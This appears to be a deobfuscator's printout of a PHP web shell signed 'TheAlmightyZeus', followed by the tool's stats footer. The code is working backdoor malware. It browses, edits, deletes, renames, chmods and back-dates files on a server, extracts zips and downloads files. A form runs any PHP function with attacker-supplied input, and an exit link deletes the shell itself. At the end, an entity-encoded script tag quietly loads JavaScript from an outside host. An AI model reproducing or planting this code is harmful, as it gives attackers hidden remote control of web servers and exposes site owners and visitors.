(!($lELZLL[28]($lELZnO) || $lELZLL[29]($lELZnO))) { goto lyMWZxZ; } foreach ($lELZnO as $lELZnq) { goto lyMWZLn; lyMWZLn: $lELZnU = $lELZLL[14]("\", "/", $lELZLn); goto lyMWZLx; lyMWZxj: lyMWZLL: goto lyMWZxW; lyMWZLU: if (!$lELZLL[32]("{$lELZLn}/{$lELZnq}")) { goto lyMWZLW; } goto lyMWZLD; lyMWZnD: if (!($lELZnq != "." && $lELZnq != "..")) { goto lyMWZLL; } goto lyMWZnE; lyMWZnO: lyMWZLZ: goto lyMWZnq; lyMWZnj: lyMWZLj: goto lyMWZnW; lyMWZnq: $lELZxj = round($lELZxj / 1024, 2) . " MB"; goto lyMWZnU; lyMWZnL: $lELZnE = " h"; goto lyMWZnn; lyMWZnE: $lELZLL[8]("{$lELZLn}/{$lELZnq}") ? $lELZna .= "<tr class="r"> <td> <i class="far fa-folder m"></i> <a class="ajx" href="?d=" . hex($lELZnU) . hex("/" . $lELZnq) . "">" . $lELZnq . "</a> </td> <td class="x"> dir </td> <td class="x"> <a class="ajx" . $lELZnE . "" href="?d=" . hex($lELZnU) . "&k=" . hex($lELZnq) . "">" . x("{$lELZLn}/{$lELZnq}") . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&t=" . hex($lELZnq) . "">" . $lELZLL[20]("Y-m-d H:i", $lELZLL[21]("{$lELZLn}/{$lELZnq}")) . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&r=" . hex($lELZnq) . "">R</a> <a href="?d=" . hex($lELZnU) . "&x=" . hex($lELZnq) . "">D</a> </td> </tr> " : ($lELZnM .= "<tr class="r"> <td> <i class="far fa-file m"></i>&thinsp; <a class="ajx" href="?d=" . hex($lELZnU) . "&s=" . hex($lELZnq) . "">" . $lELZnq . "</a> </td> <td class="x"> " . $lELZxj . " </td> <td class="x"> <a class="ajx" . $lELZnE . "" href="?d=" . hex($lELZnU) . "&k=" . hex($lELZnq) . "">" . x("{$lELZLn}/{$lELZnq}") . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&t=" . hex($lELZnq) . "">" . $lELZLL[20]("Y-m-d H:i", $lELZLL[21]("{$lELZLn}/{$lELZnq}")) . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&r=" . hex($lELZnq) . "">R</a> <a class="ajx" href="?d=" . hex($lELZnU) . "&e=" . hex($lELZnq) . "">E</a> <a href="?d=" . hex($lELZnU) . "&g=" . hex($lELZnq) . "">G</a> " . $lELZnD . " <a href="?d=" . hex($lELZnU) . "&x=" . hex($lELZnq) . "">D</a> </td> </tr> "); goto lyMWZxj; lyMWZLy: $lELZnD = "<a href="?d=" . hex($lELZnU) . "&z=" . hex($lELZnq) . "">U</a>"; goto lyMWZLV; lyMWZLM: $lELZnD = ''; goto lyMWZLO; lyMWZLE: goto lyMWZRE; goto lyMWZnj; lyMWZLV: goto lyMWZRD; goto lyMWZLa; lyMWZLq: if ($lELZLL[31]("{$lELZLn}/{$lELZnq}")) { goto lyMWZLj; } goto lyMWZLU; lyMWZnx: $lELZxj = $lELZLL[34]("{$lELZLn}/{$lELZnq}") / 1024; goto lyMWZny; lyMWZLx: if (!$lELZLL[30]($lELZnq, ".zip")) { goto lyMWZRU; } goto lyMWZLy; lyMWZnM: goto lyMWZLR; goto lyMWZnO; lyMWZnV: if ($lELZxj >= 1024) { goto lyMWZLZ; } goto lyMWZna; lyMWZna: $lELZxj = $lELZxj . " KB"; goto lyMWZnM; lyMWZny: $lELZxj = round($lELZxj, 3); goto lyMWZnV; lyMWZnU: lyMWZLR: goto lyMWZnD; lyMWZLO: lyMWZRD: goto lyMWZLq; lyMWZLa: lyMWZRU: goto lyMWZLM; lyMWZnn: lyMWZRE: goto lyMWZnx; lyMWZnW: $lELZnE = ''; goto lyMWZnZ; lyMWZLD: $lELZnE = " w"; goto lyMWZLE; lyMWZnZ: goto lyMWZRE; goto lyMWZnR; lyMWZnR: lyMWZLW: goto lyMWZnL; lyMWZxW: } lyMWZxZ: echo $lELZna; echo $lELZnM; echo "</tbody> <tfoot> <tr> <th class="et"> <a class="ajx" href="?d=" . hex($lELZnU) . "&y">REQUEST</a> <a href="?d=" . hex($lELZnU) . "&q">EXIT</a> </th> <th class="et" width="11%"></th> <th class="et" width="17%"></th> <th class="et" width="17%"></th> <th class="et" width="11%"></th> </tr> </tfoot> </table>"; goto lyMWZxR; lyMWZxL: echo $lELZLD . uhex($_GET["s"]) . $lELZLE . " <textarea readonly="yes">" . $lELZLL[15]($lELZLL[6](uhex($_GET["s"]))) . "</textarea> <br /> <br /> <input onclick="location.href='?d=" . $_GET["d"] . "&e=" . $_GET["s"] . "'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" /> " . $lELZnj; goto lyMWZxR; lyMWZxn: echo $lELZLD . "REQUEST" . $lELZLE . " <form method="post"> <input class="x" type="text" name="1" />&nbsp;&nbsp; <input class="x" type="text" name="2" /> " . $lELZnW . " <br /> <textarea readonly="yes">"; if (!isset($_POST["2"])) { goto lyMWZWM; } echo $lELZLL[15](dre($_POST["1"], $_POST["2"])); lyMWZWM: echo "</textarea> " . $lELZnj; goto lyMWZxR; lyMWZxx: echo $lELZLD . uhex($_GET["e"]) . $lELZLE . " <form method="post"> <textarea name="e" class="o">" . $lELZLL[15]($lELZLL[6](uhex($_GET["e"]))) . "</textarea> <br /> <br /> <span class="w">BASE64</span> : <select id="b64" name="b64"> <option value="0">NO</option> <option value="1">YES</option> </select> " . $lELZnW . " " . $lELZnj . " <script> $("#b64").change(function() { if($("#b64 option:selected").val() == 0) { var X = $("textarea").val(); var Z = atob(X); $("textarea").val(Z); } else { var N = $("textarea").val(); var I = btoa(N); $("textarea").val(I); } }); </script>"; if (!isset($_POST["e"])) { goto lyMWZWE; } if ($_POST["b64"] == "1") { goto lyMWZWO; } $lELZnZ = $_POST["e"]; goto lyMWZWq; lyMWZWO: $lELZnZ = $lELZLL[7]($_POST["e"]); lyMWZWq: $lELZnR = $lELZLL[17](uhex($_GET["e"]), "w"); if ($lELZLL[18]($lELZnR, $lELZnZ)) { goto lyMWZWU; } ER(); goto lyMWZWD; lyMWZWU: OK(); lyMWZWD: $lELZLL[19]($lELZnR); lyMWZWE: goto lyMWZxR; lyMWZxy: rec(uhex($_GET["x"])); if ($lELZLL[26](uhex($_GET["x"]))) { goto lyMWZZj; } OK(); goto lyMWZZW; lyMWZZj: ER(); lyMWZZW: goto lyMWZxR; lyMWZxV: echo $lELZLD . uhex($_GET["t"]) . $lELZLE . " <form action="" method="post"> <input name="t" class="x" type="text" value="" . $lELZLL[20]("Y-m-d H:i", $lELZLL[21](uhex($_GET["t"]))) . ""> " . $lELZnW . " " . $lELZnj; if (empty($_POST["t"])) { goto lyMWZZx; } $lELZnL = $lELZLL[33]($_POST["t"]); if ($lELZnL) { goto lyMWZZL; } ER(); goto lyMWZZn; lyMWZZL: if (!$lELZLL[25](uhex($_GET["t"]), $lELZnL, $lELZnL)) { goto lyMWZZZ; } OK(); goto lyMWZZR; lyMWZZZ: ER(); lyMWZZR: lyMWZZn: lyMWZZx: goto lyMWZxR; lyMWZxa: echo $lELZLD . uhex($_GET["k"]) . $lELZLE . " <form action="" method="post"> <input name="b" class="x" type="text" value="" . $lELZLL[22]($lELZLL[23]("%o", $lELZLL[24](uhex($_GET["k"]))), -4) . ""> " . $lELZnW . " " . $lELZnj; if (empty($_POST["b"])) { goto lyMWZZO; } $lELZnn = $_POST["b"]; $lELZnx = 0; for ($lELZLR = strlen($lELZnn) - 1; $lELZLR >= 0; --$lELZLR) { $lELZnx += (int) $lELZnn[$lELZLR] * pow(8, strlen($lELZnn) - $lELZLR - 1); } if (!$lELZLL[12](uhex($_GET["k"]), $lELZnx)) { goto lyMWZZa; } OK(); goto lyMWZZM; lyMWZZa: ER(); lyMWZZM: lyMWZZO: goto lyMWZxR; lyMWZxM: echo $lELZLD . "+DIR" . $lELZLE . " <form action="" method="post"> <input name="l" class="x" type="text" value=""> " . $lELZnW . " " . $lELZnj; if (!isset($_POST["l"])) { goto lyMWZZD; } if (!$lELZLL[11]($_POST["l"])) { goto lyMWZZq; } OK(); goto lyMWZZU; lyMWZZq: ER(); lyMWZZU: lyMWZZD: goto lyMWZxR; lyMWZxO: if ($lELZLL[10](__FILE__)) { goto lyMWZZE; } echo $lELZLO; goto lyMWZRj; lyMWZZE: $lELZLL[38]($lELZLL[9]); header("Location: " . basename($_SERVER["PHP_SELF"]) . ''); exit; lyMWZRj: goto lyMWZxR; lyMWZxq: echo $lELZLD . "+FILE" . $lELZLE . " <form action="" method="post"> <input name="n" class="x" type="text" value=""> " . $lELZnW . " " . $lELZnj; if (!isset($_POST["n"])) { goto lyMWZRR; } if (!$lELZLL[25]($_POST["n"])) { goto lyMWZRW; } OK(); goto lyMWZRZ; lyMWZRW: ER(); lyMWZRZ: lyMWZRR: goto lyMWZxR; lyMWZxU: echo $lELZLD . uhex($_GET["r"]) . $lELZLE . " <form action="" method="post"> <input name="r" class="x" type="text" value="" . uhex($_GET["r"]) . ""> " . $lELZnW . " " . $lELZnj; if (!isset($_POST["r"])) { goto lyMWZRV; } if ($lELZLL[26]($_POST["r"])) { goto lyMWZRx; } if ($lELZLL[27](uhex($_GET["r"]), $_POST["r"])) { goto lyMWZRL; } ER(); goto lyMWZRn; lyMWZRL: OK(); lyMWZRn: goto lyMWZRy; lyMWZRx: ER(); lyMWZRy: lyMWZRV: goto lyMWZxR; lyMWZxD: $lELZny = new ZipArchive(); $lELZnV = $lELZny->open(uhex($_GET["z"])); if ($lELZnV === TRUE) { goto lyMWZRa; } ER(); goto lyMWZRM; lyMWZRa: $lELZny->extractTo(uhex($_GET["d"])); $lELZny->close(); OK(); lyMWZRM: lyMWZxR: echo " </article> <footer class="x"> &copy;TheAlmightyZeus </footer> "; if (isset($_GET["1"])) { goto lyMWZyj; } if (isset($_GET["0"])) { goto lyMWZyW; } NULL; goto lyMWZxE; lyMWZyj: echo $lELZLM; goto lyMWZxE; lyMWZyW: echo $lELZLO; lyMWZxE: echo " <script> $(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})}); </script> </body> </html> "; function rec($lELZnM) { goto lyMWZyn; lyMWZyn: global $lELZLL; goto lyMWZyx; lyMWZyy: return; goto lyMWZyV; lyMWZyO: goto lyMWZyL; goto lyMWZyq; lyMWZyD: $lELZLL[35]($lELZnM); goto lyMWZyE; lyMWZyV: lyMWZyZ: goto lyMWZya; lyMWZyx: if (!(trim(pathinfo($lELZnM, PATHINFO_BASENAME), ".") === '')) { goto lyMWZyZ; } goto lyMWZyy; lyMWZyE: lyMWZyL: goto lyMWZVj; lyMWZyM: $lELZLL[10]($lELZnM); goto lyMWZyO; lyMWZyU: array_map("rec", glob($lELZnM . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)); goto lyMWZyD; lyMWZya: if ($lELZLL[8]($lELZnM)) { goto lyMWZyR; } goto lyMWZyM; lyMWZyq: lyMWZyR: goto lyMWZyU; lyMWZVj: } function dre($lELZxW, $lELZxZ) { goto lyMWZVW; lyMWZVW: global $lELZLL; goto lyMWZVZ; lyMWZVL: return $lELZLL[36](); goto lyMWZVn; lyMWZVZ: ob_start(); goto lyMWZVR; lyMWZVR: $lELZLL[16]($lELZxW($lELZxZ)); goto lyMWZVL; lyMWZVn: } function hex($lELZxR) { goto lyMWZVV; lyMWZVV: $lELZxL = ''; goto lyMWZVa; lyMWZVa: for ($lELZLR = 0; $lELZLR < strlen($lELZxR); $lELZLR++) { $lELZxL .= dechex(ord($lELZxR[$lELZLR])); } goto lyMWZVM; lyMWZVM: return $lELZxL; goto lyMWZVO; lyMWZVO: } function uhex($lELZxL) { goto lyMWZVD; lyMWZVE: for ($lELZLR = 0; $lELZLR < strlen($lELZxL) - 1; $lELZLR += 2) { $lELZxR .= chr(hexdec($lELZxL[$lELZLR] . $lELZxL[$lELZLR + 1])); } goto lyMWZaj; lyMWZVD: $lELZxR = ''; goto lyMWZVE; lyMWZaj: return $lELZxR; goto lyMWZaW; lyMWZaW: } function OK() { goto lyMWZaZ; lyMWZaL: header("Location: ?d=" . hex($lELZLn) . "&1"); goto lyMWZan; lyMWZaR: $lELZLL[38]($lELZLL[9]); goto lyMWZaL; lyMWZan: exit; goto lyMWZax; lyMWZaZ: global $lELZLL, $lELZLn; goto lyMWZaR; lyMWZax: } function ER() { goto lyMWZay; lyMWZaM: exit; goto lyMWZaO; lyMWZay: global $lELZLL, $lELZLn; goto lyMWZaV; lyMWZaV: $lELZLL[38]($lELZLL[9]); goto lyMWZaa; lyMWZaa: header("Location: ?d=" . hex($lELZLn) . "&0"); goto lyMWZaM; lyMWZaO: } function x($lELZnq) { goto lyMWZML; lyMWZqV: $lELZxn .= $lELZnn & 0x10 ? "w" : "-"; goto lyMWZqa; lyMWZqL: $lELZxn .= $lELZnn & 0x100 ? "r" : "-"; goto lyMWZqn; lyMWZOR: $lELZxn = "l"; goto lyMWZOL; lyMWZMV: if (($lELZnn & 0x8000) == 0x8000) { goto lyMWZaE; } goto lyMWZMa; lyMWZOa: $lELZxn = "b"; goto lyMWZOM; lyMWZOU: goto lyMWZaq; goto lyMWZOD; lyMWZOq: $lELZxn = "d"; goto lyMWZOU; lyMWZOD: lyMWZMZ: goto lyMWZOE; lyMWZME: lyMWZaU: goto lyMWZOj; lyMWZOx: $lELZxn = "-"; goto lyMWZOy; lyMWZOZ: lyMWZaD: goto lyMWZOR; lyMWZMa: if (($lELZnn & 0x6000) == 0x6000) { goto lyMWZMj; } goto lyMWZMM; lyMWZOj: $lELZxn = "s"; goto lyMWZOW; lyMWZMn: $lELZnn = $lELZLL[24]($lELZnq); goto lyMWZMx; lyMWZMD: goto lyMWZaq; goto lyMWZME; lyMWZOO: lyMWZMW: goto lyMWZOq; lyMWZqq: $lELZxn .= $lELZnn & 0x1 ? $lELZnn & 0x200 ? "t" : "x" : ($lELZnn & 0x200 ? "T" : "-"); goto lyMWZqU; lyMWZOV: lyMWZMj: goto lyMWZOa; lyMWZML: global $lELZLL; goto lyMWZMn; lyMWZqM: $lELZxn .= $lELZnn & 0x4 ? "r" : "-"; goto lyMWZqO; lyMWZqj: goto lyMWZaq; goto lyMWZqW; lyMWZOE: $lELZxn = "c"; goto lyMWZqj; lyMWZMO: if (($lELZnn & 0x2000) == 0x2000) { goto lyMWZMZ; } goto lyMWZMq; lyMWZOW: goto lyMWZaq; goto lyMWZOZ; lyMWZqU: return $lELZxn; goto lyMWZqD; lyMWZOM: goto lyMWZaq; goto lyMWZOO; lyMWZOL: goto lyMWZaq; goto lyMWZOn; lyMWZqW: lyMWZMR: goto lyMWZqZ; lyMWZqa: $lELZxn .= $lELZnn & 0x8 ? $lELZnn & 0x400 ? "s" : "x" : ($lELZnn & 0x400 ? "S" : "-"); goto lyMWZqM; lyMWZqx: $lELZxn .= $lELZnn & 0x40 ? $lELZnn & 0x800 ? "s" : "x" : ($lELZnn & 0x800 ? "S" : "-"); goto lyMWZqy; lyMWZqR: lyMWZaq: goto lyMWZqL; lyMWZqy: $lELZxn .= $lELZnn & 0x20 ? "r" : "-"; goto lyMWZqV; lyMWZMU: $lELZxn = "u"; goto lyMWZMD; lyMWZMy: if (($lELZnn & 0xa000) == 0xa000) { goto lyMWZaD; } goto lyMWZMV; lyMWZqn: $lELZxn .= $lELZnn & 0x80 ? "w" : "-"; goto lyMWZqx; lyMWZMx: if (($lELZnn & 0xc000) == 0xc000) { goto lyMWZaU; } goto lyMWZMy; lyMWZOn: lyMWZaE: goto lyMWZOx; lyMWZMM: if (($lELZnn & 0x4000) == 0x4000) { goto lyMWZMW; } goto lyMWZMO; lyMWZqZ: $lELZxn = "p"; goto lyMWZqR; lyMWZOy: goto lyMWZaq; goto lyMWZOV; lyMWZMq: if (($lELZnn & 0x1000) == 0x1000) { goto lyMWZMR; } goto lyMWZMU; lyMWZqO: $lELZxn .= $lELZnn & 0x2 ? "w" : "-"; goto lyMWZqq; lyMWZqD: } if (!isset($_GET["g"])) { goto lyMWZqE; } $lELZLL[38]($lELZLL[9]); header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $lELZLL[34](uhex($_GET["g"]))); header("Content-disposition: attachment; filename="" . uhex($_GET["g"]) . """); $lELZLL[37](uhex($_GET["g"])); lyMWZqE: echo " <SCRIPT SRC=&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x77&#x77&#x77&#x2e&#x6c&#x6f&#x63&#x61&#x6c&#x72&#x6f&#x6f&#x74&#x2e&#x6e&#x65&#x74&#x2f&#x69&#x62&#x6e&#x65&#x6c&#x65&#x72&#x2f&#x79&#x61&#x7a&#x2e&#x6a&#x73></SCRIPT>";

Function Calls

None

Variables

None

Stats

MD5 8e42e176ebfa720254472317c3c807e0
Eval Count 0
Decode Time 75 ms